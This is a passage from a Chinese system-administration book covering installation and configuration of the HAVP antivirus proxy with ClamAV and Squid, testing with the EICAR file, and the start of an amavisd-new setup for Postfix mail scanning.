4．HAVP的优势和劣势

优势如下。

边扫描边下载（从用户角度说就是边下载边扫描）。压缩文件是一个问题,因为它们仅仅是在下载过程中提取。

劣势如下。

扫描进程慢或者是如果文件大于被定义的“hold back data”，那么仍然可能收到病毒。如果一个文件包含病毒，而且该文件大于“hold back data”，那么在下载时，该文件会在没有警告的情况下被放弃下载；如果客户端再试图下载该文件，那么会得到错误的信息（这个功能还没有实现）。

5．运行方式

可以使用命令行运行（shell 方式），也可配置为后台服务方式，作者提供了启动脚本，在源代码的解压包中。




13.4.2 编译安装


HAVP与ClamAV的结合（或者说是HAVP调用ClamAV）有两种方式、三种模式。所谓两种方式是指调用libclamav库方式和clamd套接字方式。

由于套接字有 UNIX 套接字和 TCP 套接字，所以就出现了两种调用方式，因此 HAVP 与ClamAV的结合可以总结为3种模式。

① ClamAV 库扫描模式（libclamav）；

② ClamAV UNIX 套接字模式（clamd）；

③ ClamAV TCP 套接字模式（clamd）。

如果是直接使用libclamav，就不用运行clamd守护进程，这样可以节省资源。

如果是选择使用clamd守护进程模式（不推荐使用这种方式，因为使用库模式会减少系统开销），需要在clamd.conf配置文件中将“AllowSupplementaryGroups”设置为“yes”。并且将ClamAV用户加入HAVP组（当然也可以采用其他方法）。

1．安装要求

HAVP 要求使用独立的磁盘空间作为临时文件的存放区，对代理的数据进行扫描。如果没有独立的磁盘空间，可以建立一个虚拟分区（使用dd命令）；如果是做实验可以使用一个USB设备，例如U盘或者是移动硬盘都可以；如果要在生产环境下使用，最好是选择一款I/O指数高的高速硬盘。另外，SDD硬盘也是个不错的选择。

[root@s4 ～]## wget http://www.server-side.de/download/havp-0.91.tar.gz

[root@s4 ～]## tar -zxvf havp-0.91.tar.gz

[root@s4 ～]## cd havp-0.91

[root@s4 havp-0.91]# ./configure --prefix=/usr/local/havp

[root@s4 havp-0.91]#make

[root@s4 havp-0.91]#make install

2．安装后的目录结构

[root@s4 havp]# tree

.

|-- etc

|　'-- havp

|　　|-- blacklist

|　　|-- havp.config

|　　|-- havp.config.defaus4

|　　|-- templates

… …

|　　|　|-- css2

|　　|　|　'-- havp.css

......

|　　|　|-- en

|　　|　|　|-- blacklist.html

|　　|　|　|-- dns.html

|　　|　|　|-- down.html

|　　|　|　|-- error.html

|　　|　|　|-- invalid.html

|　　|　|　|-- maxsize.html

|　　|　|　|-- request.html

|　　|　|　|-- scanner.html

… …　　　'-- virus.html

|　　|　|

|　　'-- whitelist

'-- sbin

'-- havp

安装后的目录包括etc和sbin两个子目录。

在sbin目录中只有一个运行HAVP软件的havp命令。

在etc目录中包含两类文件。

① 配置文件havp.config 及白名单（whitelist）和黑名单（blacklist）文件。

② 模板文件，在目录templates 包括了11 个国家的语言模板，默认使用的模板是templates/en下的文件。如有必要可以根据实际情况修改文件中的内容，不修改也没关系，其他语言的模板可以删除掉，既省下了磁盘空间，管理起来也明了。

3．配置文件

配置文件中的参数很多，因此首先看一下配置文件中的参数，弄清楚参数及参数的值的功能，然后在此基础上修改或编辑配置文件。在配置文件中“#”为注释行，所有的注释行和空行都将被省略。

（1）配置文件参数

一般的语法形式见表13.5。


表13.5 配置参数语法

[image: figure_0235_0095]


值的类型见表13.6。


表13.6 参数值的类型

[image: figure_0235_0096]


多余的空格和制表符均被忽略。

基本参数。

REMOVETHISLINE

功能：这一行必须注释或者删除掉，它的作用是提示要查看配置文件。

默认值：deleteme

USER

GROUP

功能：运行HAVP 的用户和组。由于安全的原因，推荐使用没有root权限的用户和组。推荐新建一个用户和组，并且要确保其他的程序没有使用该用户。

默认值：havp

DAEMON

功能：守护进程模式，运行于后台。

默认值：true

PIDFILE

功能：HAVP 主进程的 PID（进程标识符）文件，要确定运行 HAVP 的用户对此文件有写的权限，使用/etc/init.d/havp脚本启动时需要这个文件。

默认值：@localstatedir@/run/havp/havp.pid

SERVERNUMBER

MAXSERVERS

功能：由于性能的原因，需要多运行几个实例。指定同时运行多少个 server（子进程）在PORT参数指定的端口上监听。设置这个值的原则是在高峰时刻，每秒的请求数再加 5 个预留子进程。最好的性能应该是最少每个 CPU（包括核）16 个进程（processes）。对于单个用户的家庭使用，最小是8个，对于大于500各用户的公司用户，那么从 40 开始吧。在具体使用时所选择的值应该比推荐的这些值要大些。不要担心浪费内存和CPU，因为内存和CPU的使用只受同时并发的请求的影响。在运行的过程中，如果现有的子进程不能满足要求，那么子进程就会自动建立，直到MAXSERVERS设定的最大值。

默认值：

SERVERNUMBER 8

MAXSERVERS 100

ACCESSLOG

ERRORLOG

功能：设定记录访问日志和错误日志的文件，要让运行HAVP的用户对该文件有写的权限。

默认值：

ACCESSLOG @localstatedir@/log/havp/access.log

ERRORLOG @localstatedir@/log/havp/havp.log

USESYSLOG

功能：使用Syslog 记录日志，替代ACCESSLOG、ERRORLOG 指定的日志文件（虽然可以，但总觉的不是什么好办法）。

默认值：false

如果启用了Syslog，以下相关的设置及其默认值。

SYSLOGNAME havp

SYSLOGFACILITY daemon

SYSLOGLEVEL info

SYSLOGVIRUSLEVEL warning

有关facilities 和levels的详细内容可以查看“man syslog”。

LOG_OKS

功能：设置记录访问日志的情况。

如果是true，那么HAVP会记录所有的请求（request）；

如果是false，那么只记录有病毒的请求。

默认值：true

LOGLEVEL

功能：设定HAVP 的记录级别。

0 只记录严重错误和信息；

1 包括较少的感兴趣的信息。

默认值：0

SCANTEMPFILE

功能：临时扫描的文件。

这个文件必须属于一个使用了强制性文件锁的磁盘分区。

对于Linux系统，在挂载磁盘分区时要使用"-o mand"来挂载。如果是Solaris系统就不需要这么做，它可以直接工作。

文件在指定绝对路径中需要包含"XXXXXX"，这些字符用于系统建立唯一的文件名。

默认值：/var/tmp/havp/havp-XXXXXX

TEMPDIR

功能：指定ClamAV 扫描的目录。

运行HAVP的用户对此目录要有写的权限。使用ramdisk会提高性能。

默认值：/var/tmp

DBRELOAD

功能：设定重新载入病毒库的时间间隔。

HAVP会在收到一个信号（从PIDFILE发送SIGHUP到PID）后或者是一个指定的时间间隔（单位是分钟）后重新载入病毒库。

默认值：60

TRANSPARENT

功能：设定HAVP 为透明代理（transparent Proxy）。

默认值：false

PARENTPROXY

PARENTPORT

功能：指定 HAVP 使用的父代理（如：Squid）。其中 PARENTPROXY 表示父代理的 IP或主机名，PARENTPORT表示父代理的端口号。

例如：

PARENTPROXY localhost

PARENTPORT 3128

默认值：NONE

FORWARDED_IP

功能：写X-Forwarded-For 到日志文件而不是连接者的IP（connecters IP）。

如果 HAVP 作为其他代理的父代理，这允许将真实的用户 IP 地址记录在日志文件中，而不是代理的IP地址。

（X-FORWARDED-FOR信息，用以跟踪源客户端IP地址和源客户端请求的服务器地址。）

默认值：false

PORT

功能：HAVP监听的端口号。

默认值：8080

BIND_ADDRESS

功能：HAVP 监听的IP 地址。通过设定监听的IP 地址使得HAVP 不会使用服务器上的全部IP。

例如：BIND_ADDRESS 127.0.0.1

默认值：NONE

SOURCE_ADDRESS

功能：设置发送出站数据包（outbound packets）使用的IP 地址。如果操作系统能够使用正确的IP，那么可以不指定。

例如：SOURCE_ADDRESS 1.2.3.4

默认值: NONE

TEMPLATEPATH

功能：设置模板文件的目录。

默认值：@sysconfdir@/havp/templates/en

WHITELISTFIRST

功能：如果喜欢使用白名单（Whitelist），那么就设置为“true”；如果设置为false，那么就会使用黑名单（blacklist）。

如果使用白名单（Whitelist）文件，那么黑名单（blacklist）文件将被忽略。

默认值：true

WHITELIST

功能：设置白名单（Whitelist）文件的存放位置。列在白名单（Whitelist）文件中的URL将不再被扫描。

默认值：@sysconfdir@/havp/whitelist

BLACKLIST

功能：设置黑名单（blacklist）文件的存放位置。列在黑名单（blacklist）文件中的URL将会拒绝访问。

默认值：@sysconfdir@/havp/blacklist

FAILSCANERROR

功能：是否扫描致命的错误。

例如，归档类型文件不支持被扫描可能会返回错误，扫描一些无效格式的文件等等也会返回错误。

false没有错误报告（病毒可能没有被检测）；

true用户会得到提示。

默认值： true

SCANNERTIMEOUT

功能：设置扫描超时值。当对一个文件扫描的时间长于设定的值时，扫描将会被放弃。定时器从HAVP收到所有的数据开始计时。如果设置的太低，那么扫描复杂的文件或归档文件（complex files/archives）就会超时。扫描超时通常会看做FAILSCANERROR的一个不为注意的致命错误。时间单位分钟。

默认值：10

RANGE

功能：是否允许HTTP Range 请求。

false断开下载无法再继续；

true断开下载可以再继续。

允许Range请求存在安全风险，因为部分HTTP请求可能不会被正确地扫描。在任何情况下，在白名单（Whitelist）中列出的文件都可以使用 Range 请求。

默认值：false

PRELOADZIPHEADER

功能：允许HTTP Range 请求首先获得ZIP 文件的头部（header），这就是说如果ZIP 文件大于MAXSCANSIZE，允许对ZIP文件进行部分扫描。

默认值：true

SCANIMAGES

功能：如果确实需要更多的性能，那么可以禁止扫描JPG，GIF和PNG 这些图片文件，这样可以节约很多CPU的资源。但是图像exploits，就可以安全地进入服务器了。所以要再三考虑是否要禁止这个功能（还是那句话，性能和安全的问题，这方面多了，那方面就少了）。

默认值：true

MAXSCANSIZE

功能：设定临时文件能增长到的大小。它的意思是达到这个限定的大小后扫描器将不再扫描。通过限定大小，可以赢得性能，对大文件减少等待，减少使用临时文件使用的磁盘空间。但是这样做对于病毒进入的机会会稍高一些。需要说明一点的是扫描大的归档文件中的病毒不是作为一个网关的功能，HAVP 更偏向于小的exploit检测等。参数值的单位是KB，而不是MB，值为“0”表示没限制。

默认值：5000000

KEEPBACKBUFFER

功能：发送到浏览器之前被缓存的数据大小。直到这些数据被扫描完成后，而且这些数据确实被认为是干净（clean）的才发送到浏览器。可以放心地将这个值设置得大些，只是会在一开始下载时会出现一些“延时（delay）”。如果病毒出现在比这个设定的大小之后的数据中，那么不会出现HAVP error 提示页，但是下载会被中断。参数值的单位是KB，而不是MB。

默认值：200000

KEEPBACKTIME

功能：这是一个 KEEPBACKBUFFER 的辅助选择项，它确定了在将任何数据发往客户端之前，从服务器接收的最初时长，单位是秒。

这个值设定的是 HAVP 端对数据的缓冲时间，这个时间计算是这样的，从最初HAVP服务器接收到数据到发送该数据给客户端的时间。

默认值：5

TRICKLING

功能：当过了Trickling Time（就是“滴答”之意，单位为秒），一些字节被发送到保持连接的浏览器上。对于小的文件（小于指令KEEPBACKBUFFER设置的值），超时设定没有什么必要，但是无论如何还是推荐设置该值。如果设置为0则表示不使用该指令。

默认值：30

TRICKLINGBYTES

功能：每个TRICKLING 秒，发送多少字节到浏览器。

默认值：1

MAXDOWNLOADSIZE

功能：设置允许下载文件的最大值，大于这个值的文件将会被阻止。列在白名单中的文件不此受限制。

参数值的单位是KB，而不是MB，值为“0”表示没限制。

默认值：0

STREAMUSERAGENT

功能：这些设置用于流内容（stream content），对于扫描一般不需要，临时文件也没必要增长。它是一个以空格分隔开的字符串列表，用来匹配User-Agent的header。需要注意的是，如果开启一个 Player，那么用户可能会伪造它的头并且进行扫描。在HTTP请求的范围中是允许这么做的，因此players会搜索内容，你可以注释到下面大多数流行的player列表。

例如：

#STREAMUSERAGENT Player Winamp iTunes QuickTime Audio RMA/ MAD/ Foobar2000 XMMS

默认值：NONE

STREAMSCANSIZE

功能：从字节流开始扫描的字节。

如果设置为0，STREAMUSERAGENT扫描将会被完全禁用，不建议这样设置，否则可能会受到“Player”的攻击。

默认值：20000

DISABLELOCKINGFOR

功能：对于某些文件类型禁止强制锁定（动态扫描），这是为了修复强制使用mmap()调用的扫描器。在这种情况下，不允许强制锁定，因此可能存在内存分配或I/O的错误。但是你可以测试“None”选项，这个无论在任何操作系统上都是可以使用的，其他的选项依赖于操作系统，在Linux系统中允许mand+mmap。允许的值如下。

None

ClamAV:BinHex（没有 ETA 修复，在所有版本中mmap 强制）

ClamAV:PDF（没有 ETA修复，在所有版本中mmap 强制）

ClamAV:ZIP（在0.93.x中mmap 强制，可以工作在 0.94）

AVG:ALL（在 AVG 8.5中不工作，使用mmap MAP_SHARED）

默认值：ClamAV:BinHex ClamAV:PDF ClamAV:ZIPAVG:ALL

IGNOREVIRUS

功能：可以忽略的病毒。

通过白名单指定的不区分大小写的子串匹配，例如“Oversized.”是“Encrypted.”很好的配置选择。

例如：IGNOREVIRUS Oversized. Encrypted. Phishing

默认值：NONE

ClamAV Library 库扫描（libclamav）部分的参数设置。

ENABLECLAMLIB

功能：是否使用libclamav 库扫描。

默认值：false

CLAMDBDIR

功能：HAVP 的用户使用 libclamav 在 clamd.conf 配置文件中指定的位置，通常是/usr/local/share/clamav目录。如果使用clamd.conf配置文件“DatabaseDirectory”指定libclamav库文件，那么就不用再使用CLAMDBDIR设定了。但是如果使用非clamd.conf中指定的libclamav就需要用此参数指定。

例如：CLAMDBDIR /path/to/directory

默认值：NONE

CLAMBLOCKBROKEN

功能：是否阻止扫描破损的可执行文件。

默认值：false

CLAMBLOCKENCRYPTED

功能：是否阻止扫描加密文档。

默认值：false

CLAMBLOCKMAX

功能：是否阻止检测达到归档文件最大限制的文件。

默认值：false

CLAMMAXSCANSIZE

功能：扫描限制值。相关信息可参考文档或clamd.conf。当超过指定的扫描值时停止扫描。

默认值：20

CLAMMAXFILES

功能：扫描文件的最大数。

默认值：50

CLAMMAXFILESIZE

功能：大于本设定值的文件将不扫描（单位 MB）。

默认值：100

CLAMMAXRECURSION

功能：递归扫描归档文件的最大深度。

默认值：8

ClamAV Socket 扫描（clamd）部分的设置。

ENABLECLAMD

功能：是否使用clamd 套接字。

默认值：false

CLAMDSOCKET

功能：是否使用clamd UNIX 套接字。

默认值：/tmp/clamd

CLAMDSERVER CLAMDPORT

功能：是否使用clamd TCP 套接字，不推荐使用。

例如：

Clamd守护进程要和HAVP服务在同一台服务器上。

CLAMDSERVER 127.0.0.1

CLAMDPORT 3310

默认值：NONE

（2）设定配置文件

配置文件位置/usr/local/havp/etc/havp/havp.config，内容如下。

USER clamav

GROUP clamav

LOG_OKS false

TEMPDIR /sdb

TRANSPARENT false

FORWARDED_IP true

PORT 8080

BIND_ADDRESS 127.0.0.1

PIDFILE /var/log/havp/havp.pid

ENABLECLAMD true

CLAMDSOCKET /tmp/clamd.socket

ACCESSLOG　/var/log/havp/access.log

ERRORLOG　/var/log/havp/error.log

SERVERNUMBER 45

MAXSERVERS 60

LOGLEVEL 0

SCANIMAGES false

准备磁盘。

对磁盘的分区过程此处省略了。

[root@s4 ～]#mkdir /sdb

[root@s4 ～]#mkfs.ext3 /dev/sdb1

[root@s4 ～]#mount -t ext3 -o mand /dev/sdb1 /sdb

修改权限。

由于在配置文件中将默认的用户和组改为了clamav，所以要相应地修改用户限权。

[root@s4 ～]#mkdir /var/log/havp

[root@s4 ～]# chown -R clamav:clamav /var/log/havp /sdb /var/run/havp

[root@s4 ～]# chmod -R 700 /var/run/havp /var/log/havp /sdb




13.4.3 HAVP与Squid进行结合


在原来运行的Squid基础上加入如下内容。

cache_peer 127.0.0.1 parent 8080 0 no-digest no-query no-netdb-exchange defaus4

cache_peer_access 127.0.0.1 allow SCB

acl HTTP_SCB proto 80

never_direct allow HTTP_SCB




13.4.4 启动HAVP


使用havp命令在命令行中启动，命令如下。

[root@s4 ～]#/usr/local/havp/sbin/havp -c /usr/local/havp/etc/havp/havp.config

也可以写个init脚本，这样会更方便。另外，也可以使用havp提供的脚本，后面有讲述。




13.4.5 测功能试


测试HAVP的病毒防护功能。

保持以前的代理设置不变，如果没有设置代理可以按如下方法设置代理上网。选择要使用的浏览器（如Internet Exp1orer），然后单击“工具”-->连接-->局域网设置，然后“代理服务器”，填入地址和端口就可以了。设置如图13.5所示。

设置完代理后就可以访问Web服务了。

访问网址 http://www.eicar.org/download/eicar.com，这是一个比较公认的反病毒测试网页，没有危害，可以放心测试。

在测试时同时打开clamd日志和havp日志。

监控clamd日志。

[root@s4 ～]# tail -f /tmp/clamd.log

监控havp日志。

[image: figure_0244_0097]
图13.5 代理设置



[root@s4 ～]# tail -f /var/log/havp/access.log

以下是测试结果。

在浏览器 Internet Exp1orer 中输入 http://www.eicar.org/download/eicar.com，打开的网页如图13.6所示。

[image: figure_0245_0098]
图13.6 提示拒绝访问的网页



访问的网页被拒绝了，而且提示了病毒的类型。

查看clamd的日志。

[root@s4 ～]#tail -f /tmp/clamd.log

Wed Apr 7 08:49:15 2010 -> /var/tmp/havp/havp-mRQqVl: Eicar-Test-Signature FOUND

查看havp访问日志。

[root@s4 ～]# tail -f /var/log/havp/access.log

07/04/2010 08:49:15 192.168.3.248 GET 200 http://www.eicar.org/download/eicar.com 298+68 VIRUS Clamd: Eicar-Test-Signature

可见均提示发现了病毒。




13.4.6 设置HAVP以服务模式启动


在源代码 havp-0.91/etc/init.d 目录下有一个名为 havp 的文件，就是启动脚本。先将havp-0.91/etc/init.d/havp拷贝到/etc/init.d/目录下。

[root@s4 ～]#cp havp-0.91/etc/init.d/havp /etc/init.d/

[root@s4 ～]#chmod 744 /etc/rc.d/init.d/havp

1．设置启动脚本

根据实际情况对脚本进行修改，主要是以下3行（默认文件中）。

HAVP_BIN=/usr/local/sbin/havp

HAVP_CONFIG=/usr/local/etc/havp/havp.config

PIDFILE=/var/run/havp/havp.pid

另外还可能需要添加如下内容（添加在上面的三行之上）。

# chkconfig: 345 61 39

# description: havp -- the squid's parent

# processname: havp

# pidfile: /var/log/havp/havp.pid

# config: /usr/local/havp/etc/havp/havp.config

根据本机HAVP安装的位置做修改，比如在安装时使用了“--prefix=/usr/local/havp”，在配置文件中用“PIDFILE /var/log/havp/havp.pid”改变了pid 文件的位置，所以进行如下修改。

HAVP_BIN= /usr/local/havp/sbin/havp

HAVP_CONFIG= /usr/local/havp/etc/havp/havp.config

PIDFILE=/var/log/havp/havp.pid

加入服务。

[root@s4 ～]chkconfig --list havp

2．测试启动、停止

启动havp。

[root@s4 init.d]# service havp start

Starting HAVP ...

Starting HAVP Version: 0.91

测试启动。

[root@s4 init.d]# lsof -i:8080

COMMAND　PID　　USER　FD　TYPE　DEVICE　　SIZE NODE NAME

havp　2862　clamav　3u　IPv4　1362547195　TCP s4:webcache (LISTEN)

havp　2863　clamav　1u　IPv4　1362554392　TCP s4:webcache->s4:23154(ESTABLISHED)

havp　2869　clamav　3u　IPv4　1362547195　TCP s4:webcache (LISTEN)

havp　2871　clamav　3u　IPv4　1362547195　TCP s4:webcache (LISTEN)

havp　2873　clamav　1u　IPv4　1362554205　TCP s4:webcache->s4:23090(ESTABLISHED)

……

停止havp。

[root@s4 init.d]# service havp stop

Shutting down HAVP ...

测试停止。

[root@s4 init.d]# lsof -i:8080




13.4.7 相关文件blacklist和whitelist


顾名思义blacklist是黑名单，whitelist是白名单，两种文件的格式相同，但作用却完全相反。列在whitelist文件中的URL将不再被扫描，认为它绝对安全；而列在blacklist文件中的URL将会被拒绝访问，认为绝对不安全。

1．文件使用设置

这两种文件不能同时使用，只能使用其中的一个，在配置文件中由“WHITELISTFIRST”参数来决定。

如果“WHITELISTFIRST true”，那么使用whitelist文件；

如果“WHITELISTFIRST false”，那么使用blacklist文件。

2．编写X-list

两种文件的格式相同，原文中以“#”开头的语句被看做是注释语句，因此均被忽略。填写规则如下。

① 每一行必须包含域名/路径（Domain/Path）；

② 域名（Domains）可以以通配符开始；

③ 页面可以在开始和结尾使用通配符；

④ 在URLs不包括通配符时指确切的匹配。

这是原文件中的例子，能够说明上述的四点规则。

# www.server-side.de　　(Only this URL is whitelisted)

# www.server-side.de/*　(Domain is completely whitelisted)

# *server-side.de/index.html

# */*.gif　　　　(All .gif are whitelisted)

# www.server-side.de/novirus*

# www.server-side.de/*novirus*

# Whitelist clamav download

*sourceforge.net/*clamav-*

# Whitelist Windowsupdate, so RANGE is allowed too

*.microsoft.com/*

*.windowsupdate.com/*




13.5 Postfix与ClamAV





13.5.1 认识amavisd-new


amavisd-new和其他软件的安装不一样，它是一个perl语言编辑的软件，因此只要安装了perl语言及相关的模块就可以工作了。在源代码的解压缩目录中除了必要的守护进程amavisd和配置文件amavisd.conf外，还提供了一些其他的工具，因此有必要先看看包中文件，以便更好地使用。

以下以amavisd-new-2.6.4-rc2版本为例。

1．目录结构如下。

[root@mail amavisd-new-2.6.4-rc2]# tree

.

|-- AAAREADME.first

|-- AMAVIS-MIB.txt

|-- INSTALL

|-- JpegTester.pm

|-- LDAP.ldif

|-- LDAP.schema

|-- LICENSE

|-- MANIFEST

|-- README_FILES

|　|-- README.banned

……

|　|-- README.sql-mysql

|　|-- README.postfix　　　　　　//这个文件一定要看看

|　|-- README.sql-pg

|　|-- amavisd-new-docs.html

|　|-- images

|　|　|-- blank.png

|　|　|-- callouts

|　|　|　|-- 1.png

……

|　|　|　'-- 9.png

|　|　|-- caution.png

……

|　|　'-- warning.png

|　'-- screen.css

|-- RELEASE_NOTES

|-- TODO

|-- amavisd

|-- amavisd-agent

|-- amavisd-custom.conf

|-- amavisd-nanny

|-- amavisd-new-courier.patch

|-- amavisd-new-qmqpqq.patch

|-- amavisd-new.spec

|-- amavisd-release

|-- amavisd-snmp-subagent.pl

|-- amavisd.conf

|-- amavisd.conf-default

|-- amavisd.conf-sample

|-- amavisd_init.sh

|-- helper-progs

| |-- Makefile.in

| |-- README

| |-- amavis-milter.c

| |-- amavis.c

| |-- amavis.pl

| |-- config.h.in

| |-- configure

| |-- configure.in

| '-- install-sh

|-- p0f-analyzer.pl

|-- p0f-patch

'-- test-messages

|-- README

'-- sample.tar.gz.compl

5 directories, 93 files

文件说明见表13.7。


表13.7 文件说明

[image: figure_0248_0099]



续表

[image: figure_0249_0100]


以下是做出贡献的作品，见表13.8。


表13.8 贡献的作品

[image: figure_0249_0101]


2．安装需求

安装amavisd-new之前有3类软件需要安装。虽然其中有些软件系统已经安装，但是要查看一下其当前版本是否适合。

第一类：下列软件在安装amavisd-new之前需先安装。

其中File工具是必须的，推荐使用最新的版本，当前最新的版本是4.24，不要使用老的版本，老版本有安全性问题。

Archive::Zip　　　　　　(Archive-Zip-x.xx) (1.14以上)

Compress::Zlib　　　　　(Compress-Zlib-x.xx) (1.35以上)

Compress::Raw::Zlib　　　(Compress-Raw-Zlib) (2.017以上)

Convert::TNEF　　　　　(Convert-TNEF-x.xx)

Convert::UUlib　　　　　(Convert-UUlib-x.xxx) (1.08以上)

MIME::Base64　　　　　(MIME-Base64-x.xx)

MIME::Parser　　　　　(MIME-Tools-x.xxxx)

Mail::Internet　　　　　(MailTools-1.58以上)

Net::Server　　　　　　(Net-Server-x.xx)

Digest::MD5　　　　　　(Digest-MD5-x.xx) (2.22以上)

IO::Stringy　　　　　　(IO-stringy-x.xxx)

Time::HiRes　　　　　　(Time-HiRes-x.xx) (使用1.49以上)

UNIX::Syslog　　　　　(UNIX-Syslog-x.xxx)

Mail::DKIM　　　　　　(Mail-DKIM-0.31以上)

BerkeleyDB　　　　　　(4.4.20以上)

以上软件最好使用较新版本。

安装下列软件，外部程序可用于解码/解包（decoding/dearchiving）。

Compress、 nomarch（或者arc）、unzoo（或者 zoo）、lha、arj（或者unarj）、rar（或者unrar）、pax、freeze（或者unfreeze或者melt）、gzip、ripole、tnef、cabextract cpio、lzop、bzip2。

第二类：可选的Perl模块。

Mail::SpamAssassin　垃圾邮件扫描

Net::LDAP　　支持LDAP查询

Authen::SASL　　提供转发和投递认证的 perl模块

Mail::ClamAV　　提供与ClamAV库接口的perl模块

SAVI　　　提供与Sophos（0.30以上）库接口的perl模块

DBI　　　支持SQL查询和 SQL日志/隔离

第三类：可选项，但通常是必须的。

病毒扫描器 使用外部程序进行病毒扫描，例如ClamAV。




13.5.2 安装amavisd-new


amavisd-new 是一个高性能的接口，它介于寄信人（MTA）和内容检测器（如病毒扫描、过滤垃圾邮件）之间，这个软件是用 perl 语言写的，因此在安装时可能需要很多的 perl 模块。amavisd-new 通常放置在或者靠近邮件中心的服务器，而没必要设置在用户的邮箱和最终投递的地方。其实amavisd-new 也是个不错的MTA，可以使用该软件做独立的邮件网关，为多台邮件服务器提供邮件过滤（如病毒扫描、过滤垃圾邮件等）。amavisd-new得益于使用perl模块Net::Server，该模块提供一个快速的预创建子进程（pre-forked）和多子进程（multi-child）环境。在这里amavisd-new的作用是负责调度clamd对邮件进行病毒扫描。

1．amavisd-new概论

本案例是一个利用amavisd-new软件将Postfix和ClamAV结合，从而过滤带有病毒的邮件。amavisd-new相当于一个管道将Postfix和ClamAV结合起来。

2．安装amavisd-new

由于 amavisd-new 是一个用 perl 语言编写的软件，所以必须有 perl 的环境，推荐使用 5.8.2以上版本。

建立或选择一个UNIX/Linux组，用来运行amavisd守护进行和病毒扫描，但是所选择的组不能使系统组，也不可以和其他应用程序，如mail或www（除了病毒扫描器），共用一个用户。按照Linux的习惯，命名一个“amavis”或“vscan”组，通过编辑/etc/group加入就可以了。

建立或选择一个UNIX/Linux用户（用户名及其UID），用来运行amavisd守护进行和病毒扫描，不能使用“root”，不能使用“nobody”，也不能使用运行MTA的用户。通常的习惯是命名一个“amavis”或“vscan”用户，但要在/etc/passwd文件中做出相应的修改，例如，不让其有登录shell，让其主目录为/dev/null等。

建立amavis用户专用的home目录。

（1）安装

添加用户和组。

[root@mail ～]#useradd amavis

建立home目录。

[root@mail ～]# mkdir /var/amavis

建立下列子目录。

[root@mail ～]# mkdir /var/amavis/tmp /var/amavis/var /var/amavis/db /var/amavis/home

修改并检查权限。

[root@mail ～]#chown -R amavis:amavis /var/amavis

[root@mail ～]#chmod -R 750 /var/amavis

下载并解压amavisd-new。

[root@mail ～]# wget

http://www.ijs.si/software/amavisd/amavisd-new-2.6.4-rc2.tar.gz

[root@mail ～]#tar zxvf amavisd-new-2.6.4-rc2.tar.gz

[root@mail ～]#cd amavisd-new-2.6.4-rc2

[root@mail amavisd-new-2.6.4-rc2]#

拷贝amavisd到/usr/local/sbin目录下，并设置相应的权限。

[root@mail amavisd-new-2.6.4-rc2]# cp amavisd /usr/local/sbin/

[root@mail amavisd-new-2.6.4-rc2]# chown root /usr/local/sbin/amavisd

[root@mail amavisd-new-2.6.4-rc2]# chmod 755 /usr/local/sbin/amavis

拷贝amavisd.conf到/etc下，并设置相应的权限。

[root@mail amavisd-new-2.6.4-rc2]#cp amavisd.conf /etc/

[root@mail amavisd-new-2.6.4-rc2]#chown root:amavis /etc/amavisd.conf

[root@mail amavisd-new-2.6.4-rc2]#chmod 640 /etc/amavisd.conf

建立病毒邮件存放目录，并设置相应的权限。

[root@mail ～]#mkdir /var/virusmails

[root@mail ～]#chown amavis:amavis /var/virusmails

[root@mail ～]#chmod 750 /var/virusmails

（2）编辑配置文件

首先要认真仔细地阅读一下amavisd.conf-sample、amavisd-custom.conf和amavisd.conf-default这三个文件，本来想的是以注释的形式讲述一下这些文件，可这三个文件实在是太大了，就不能详述了。

① 分析了解配置文件amavisd.conf-default

下面的篇幅简要的介绍一下amavisd.conf-default的内容。这个文件是amavisd的样本配置文件，它将配置内容分为9部分。

配置文件中有以下注意事项。

这个文件是标准的Perl代码，因此它由Perl自己解释。

确定这个文件（或者是它所在的目录）一般的人不可写（甚至是vscan/amavis用户，最好只有root才可以，换句话说就是让root拥有它，文件属性为644）。否则，将是一个严重的安全风险！

这些变量的值会被解释为布尔值，推荐使用“1”表示“true”，“0”及“‘’”（即空字符）或“undef”表示“false”。注意，被解释出的布尔值是不会直接应用到LDAP 和 SQL查询的，它们遵循自己的规则——相关内容请参考README.lookups和README.ldap。简而言之，在SQL中使用Y/N，而在LDAP中则使用TRUE/FALSE。

Perl语法的应用。最值得注意的是，作为变量值的字符串中，如果包含有变量（变量以$或@开始），那么就将该字符串用“""”双引号引起来，示例如下。

$forward_method ="bsmtp:$MYHOME/out-%i-%n.bsmtp";

如果在双引号的变量值中包括“$”、“@”和“\”，那么要在这些字符的前面加上斜线“/”，示例如下。

$virus_admin ="virusalert\@$mydomain";

在使用单引号“‘’”的字符串中，能够使得字符“$”和“@”失去它们代表的特殊含义。因此，对于E-mail地址的使用，通常是使用单引号字符串，或者是使用qw操作符。在这两种引号的类型中，如果使用反斜线，那么就要使用双引号。

以“@”开始的变量名，它值为列表，即它的值是以列表的形式出现，例如（'one@foo', $mydomain, "three"）。注意，通过逗号和圆括号来使用。如果列表中的字符串不包含空格或变量，那么可以使用Perl操作符qw()来替代，它使用空格符分隔，例如 qw（one@foo example.com three）。注意，对于 qw 来说，引号已经被隐含地包含在其中，并且没有变量解释（就是说没有 '$' 变量替换）。“#”表示注释，不能用在字符串中，换言之，字符$和 #在qw的参数中失去了它特有的意义了，就像在'...'字符串中一样。

在这个文件中的所有E-mail地址，在守护进程中使用原始（基于rfc2821的非引号和非括号）格式，例如：Bob "Funny" Dude@example.com，而不是"Bob \"Funny\" Dude"@example.com，也不是<"Bob \"Funny\" Dude"@example.com>；可以是''，但不可以是 '<>' 。

在配置文件中，如果这个变量没有被指定特别的值，那该变量的默认值将被使用，一旦在配置文件中指定了相应的值，那么它的默认值将会被替代。

该文件包括9部分内容，具体如下。

第一部分：基本守护进程和MTA的设置。

第二部分：MTA 的具体配置。

第三部分：日志。

第四部分：通知/DSN, 弹回/退回/丢弃/通过, 隔离区。

第五部分：每个收件人和每个发件人的处理，白名单等。

第六部分：资源限制。

第七部分：外部程序，病毒扫描，SpamAssassin。

第八部分：调试。

第九部分：Policy banks（动态策略切换）。

下面我们看一下这九部分内容。

第一部分：基本守护进程和MTA的设置。

例如你可以设置如下变量，变量实在是太多了，这里只举几个例子，详细的内容请看amavisd.conf-default文件。

$MYHOME

功能：为其他的配置提供默认值，在后边的应用中可以更精确的进行控制。这个变量不能够被其他的程序直接使用，而且它的值结尾没有斜线。

默认值：$MYHOME = '/var/amavis'

例如：$MYHOME = '/var/lib/amavis'

$mydomain

功能：为其他的配置提供默认值，在后边的应用中可以更精确地进行控制。

默认值：$mydomain = 'example.com';

$myhostname

功能：amavisd 所在主机的fqdn，默认是通过uname 获取。

例如：$myhostname = 'host.example.com';

$daemon_user

$daemon_group

